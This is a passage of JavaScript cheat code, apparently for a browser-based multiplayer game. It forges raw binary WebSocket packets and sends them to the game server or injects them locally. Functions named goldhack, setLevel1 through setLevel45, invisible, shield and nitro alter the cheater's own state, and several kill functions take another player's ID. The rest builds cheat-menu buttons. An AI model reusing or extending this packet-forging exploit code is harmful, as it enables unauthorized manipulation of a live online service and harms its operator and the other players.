				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,49,254,105,0,0,0,0
			]).buffer});
		},
                      waste:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,50,254,105,0,0,0,0
			]).buffer});
		},
        pavment:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,35,254,105,0,0,0,0
			]).buffer});
		},
        oldboulder:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,36,254,105,0,0,0,0
			]).buffer});
		},
        destroy1:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,56,254,105,0,0,0,0
			]).buffer});
		},
        destroy2:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,57,254,105,0,0,0,0
			]).buffer});
		},
        destroy3:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,58,254,105,0,0,0,0
			]).buffer});
		},
        destroy4:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,59,254,105,0,0,0,0
			]).buffer});
		},
        wrappingpaper:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,52,254,105,0,0,0,0
			]).buffer});
		},
        stonebricks:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,48,254,105,0,0,0,0
			]).buffer});
		},
        stonebricks2:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,32,254,105,0,0,0,0
			]).buffer});
		},
        cement:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,33,254,105,0,0,0,0
			]).buffer});
		},
        metal:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,41,254,105,0,0,0,0
			]).buffer});
		},
//__________________________________________________________________________________PLAYERS__________________________________________________________________________________//
        levelup:()=>{
        kcc.ws._msg({data:new Uint8Array([
        243,4,94,0,2,245,115,0,31,123,34,108,101,118,101,108,71,111,108,100,82,101,119,97,114,100,115,34,58,123,34,49,51,34,58,49,48,56,125,125,254,105,0,0,0,1
        ]).buffer});
        },
        goldhack:()=>{kcc.ws._msg({data:new Uint8Array([243,4,95,0,2,245,115,0,29,123,34,108,101,118,101,108,34,58,49,51,44,34,103,111,108,100,82,101,119,97,114,100,34,58,57,57,57,125,254,105,0,0,0,1]).buffer});},
        setLevel1:(level=1, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel2:(level=2, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel3:(level=3, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel4:(level=4, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel5:(level=5, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel6:(level=6, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel7:(level=7, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel8:(level=8, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel9:(level=9, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel10:(level=10, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel11:(level=11, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel12:(level=12, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel13:(level=13, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel14:(level=14, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel15:(level=15, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel16:(level=16, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel17:(level=17, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel18:(level=18, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel19:(level=19, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel20:(level=20, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel21:(level=21, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel22:(level=22, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                            setLevel23:(level=23, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
                                                        setLevel24:(level=24, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel25:(level=25, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel26:(level=26, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel27:(level=27, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel28:(level=28, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel29:(level=29, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel30:(level=30, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel31:(level=31, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel32:(level=32, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel33:(level=33, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel34:(level=34, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel35:(level=35, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel36:(level=36, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel37:(level=37, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel38:(level=38, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel39:(level=39, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel40:(level=40, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel41:(level=41, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel42:(level=42, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel43:(level=43, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel44:(level=44, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },                                            setLevel45:(level=45, actorNr)=>{
        kcc.ws.send(new Uint8Array([243,2,56,0,1,169,105,...toByte32(level)]))
        kcc.ws._msg({data:new Uint8Array([243,4,55,0,2,169,105,...toByte32(level),254,105,...toByte32(actorNr)]).buffer})
        },
        shield:()=>{
        kcc.ws._msg({data:new Uint8Array([
        243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,9,109,111,100,105,102,105,101,114,115,68,0,0,0,2,115,0,26,95,84,105,109,101,65,116,116,97,99,107,70,108,97,103,68,101,98,114,105,101,102,83,108,111,119,98,0,115,0,16,95,83,112,97,119,110,80,114,111,116,101,99,116,105,111,110,98,0,254,105,0,0,0,0
        ]).buffer});
        },
        ringeffect:()=>{
           var effectID = 1;
                for(var boss = 0; boss < 20; effectID++){
                    kcc.ws._msg({data:new Uint8Array([
                        243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,9,109,111,100,105,102,105,101,114,115,68,0,0,0,effectID,115,0,9,95,83,104,105,101,108,100,101,100,98,0,254,105,0,0,0,0
                    ]).buffer});
                    if(effectID > 20){
                        break;
                    }
                }
		},
        nitro:()=>{
        kcc.ws._msg({data:new Uint8Array([
        243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,9,109,111,100,105,102,105,101,114,115,68,0,0,0,1,115,0,9,95,78,105,110,106,97,82,117,110,98,0,254,105,0,0,0,0
        ]).buffer});
		},
        freezeAni:()=>{
            kcc.ws._msg({data:new Uint8Array([
                243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,2,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,16,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,4,73,100,108,101,115,0,9,116,105,109,101,83,116,97,109,112,105,70,131,252,232,254,105,0,0,0,0
            ]).buffer});
        },

		action:(actionId,PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,actionId])),
		freeze:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,11])),
		damadge:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,10])),
		heal:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,27])),
		big:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,17])),
        freezeme:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,11])),
        sword_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,5])),
		small:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,16])),
		mutant_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,6])),
		rail_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,4])),
        shotgun_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,7])),
        slapgun_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,9])),
        flamethrower_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,8])),
        testkill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,3])),
        oculus_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,12])),
        none_kill:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,13])),
        nofall:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,2])),
        fast:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,2,27,0,2,22,105,...toByte32(PID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,13])),
        invisible:(PID=kcc.self)=>kcc.ws.send(new Uint8Array([243,4,2,0,8,22,105,0,3,...toByte32(PID),70,68,0,0,0,1,115,0,17,115,112,97,119,110,82,111,108,101,77,111,100,101,84,121,112,101,105,0,0,0,4])),
		finish:()=>kcc.ws.send(new Uint8Array([243,2,23,0,1,191,105,0,3,0,0])),
        tred:()=>kcc.ws.send(new Uint8Array([243,2,29,0,1,89,105,0,0,0,1])), //change to red team
        tgreen:()=>kcc.ws.send(new Uint8Array([243,2,29,0,1,89,105,0,0,0,2])), //change to green team
        tyellow:()=>kcc.ws.send(new Uint8Array([243,2,29,0,1,89,105,0,0,0,3])), //change to yellow team
        tblue:()=>kcc.ws.send(new Uint8Array([243,2,29,0,1,89,105,0,0,0,0])), //change to blue team
        twhite:()=>kcc.ws.send(new Uint8Array([243,2,29,0,1,89,105,0,0,0,5])), //change to white team
        tnull:()=>kcc.ws.send(new Uint8Array([243,2,29,0,1,89,105,0,0,0,6])), //change to null team

//__________________________________________________________________________________GAME LOG__________________________________________________________________________________//
		log:(msg,clr='#FFF')=>{
			if(html('console_log').lastChild&&msg==html('console_log').lastChild.textContent){
				let counter=html('console_log').lastChild.children[0];
				if(counter){
					counter.value=1+Number(counter.value);
				}else{
					counter=make('input');
					counter.style=`height:20px;width:20px;
					text-align:center;padding:0px;
					background:${kc.green};color:#fff;
					border:true;border-radius:100%;cursor:default;`;
					counter.value=2;
					counter.disabled=true;
					html('console_log').lastChild.appendChild(counter)
				}
				return;
            }
			let scroll=html('console_log').scrollTop/(html('console_log').scrollHeight-html('console_log').offsetHeight);
			if(isNaN(scroll)||scroll>0.9)scroll=true;
			else scroll=false;
			let el=make('div');
			el.style='padding:2% 1% 0px 2%;width:100%;color:'+clr+';';
			el.textContent=msg;
			html('console_log').appendChild(el);
			if(scroll)html('console_log').scrollTop=html('console_log').scrollHeight-html('console_log').offsetHeight;
		},
		command:str=>{
			kc.log(str,'#FFF8');
		}
                     };
//__________________________________________________________________________________CONSOLE__________________________________________________________________________________//


    //____________________________________________________Game Log____________________________________________________//
    window.consoleCheat=top.consoleCheat=(name='unknown',clr='#888',func=()=>{})=>{
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
        el.style=`color:${clr};background-color:#F2F2F2;border-radius:10px;border:true;padding:2px;`;
		el.addEventListener('click',func);
		html('console_box').appendChild(el);
	};
    //____________________________________________________Players____________________________________________________//
	window.makeCheat=top.makeCheat=(name='unknown',clr='#888',func=()=>{})=>{
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
		el.style=`color:${clr};background-color:#F2F2F2;border-radius:3px;border:true;padding:1px;`;
		el.addEventListener('click',func);
		html('cheat_box').appendChild(el);
	};
    window.levelCheat=top.levelCheat=(name='unknown',clr='#888',func=()=>{})=>{
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_element';
		el.type='button';
		el.style=`color:${clr};background-color:#F2F2F2;border-radius:15px;border:true;padding:1px;`;
		el.addEventListener('click',func);
		html('cheat_box').appendChild(el);
	};
    window.makeCate=top.makeCate=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='cheat_Cate';
		el.type='button';
		el.style=`color:${clr};background-color:#000;
        border-top:none;
        border-right:none;
        border-left:none;
        border-color:#ffffff;
        border-size:0px;
        border:none;
        padding:2px 111px 2px 145px;
        margin:10px 2px 2px 2px;
    `;
		el.addEventListener('click',func);
		html('cheat_box').appendChild(el);
	};
    //____________________________________________________Deathgenerator____________________________________________________//
    	window.killCheat=top.killCheat=(name='unknown',clr='#888',func=()=>{})=>{
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='kill_element';
		el.type='checkbox';
		el.style=`color:${clr};background-color:#F2F2F2;border-radius:3px;border:true;padding:1px;width:50px;height:30px;`;
		el.addEventListener('click',func);
		html('kill_box').appendChild(el);
    };
window.killCate=top.killCate=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='kill_Cate';
		el.type='button';
		el.style=`color:${clr};background-color:#000;
        border-top:none;
        border-right:none;
        border-left:none;
        border-color:#ffffff;
        border-size:0px;
        border:none;
        padding:2px 75px 2px 110px;
        margin:10px 2px 2px 2px;
    `;
		el.addEventListener('click',func);
		html('kill_box').appendChild(el);
	};
    window.warningCate=top.warningCate=(name='unknown',clr='#888',func=()=>{})=>{//new
		let el=make('input');
		el.id=name;
		el.value=name;
		el.className='warning_Cate';
		el.type='button';
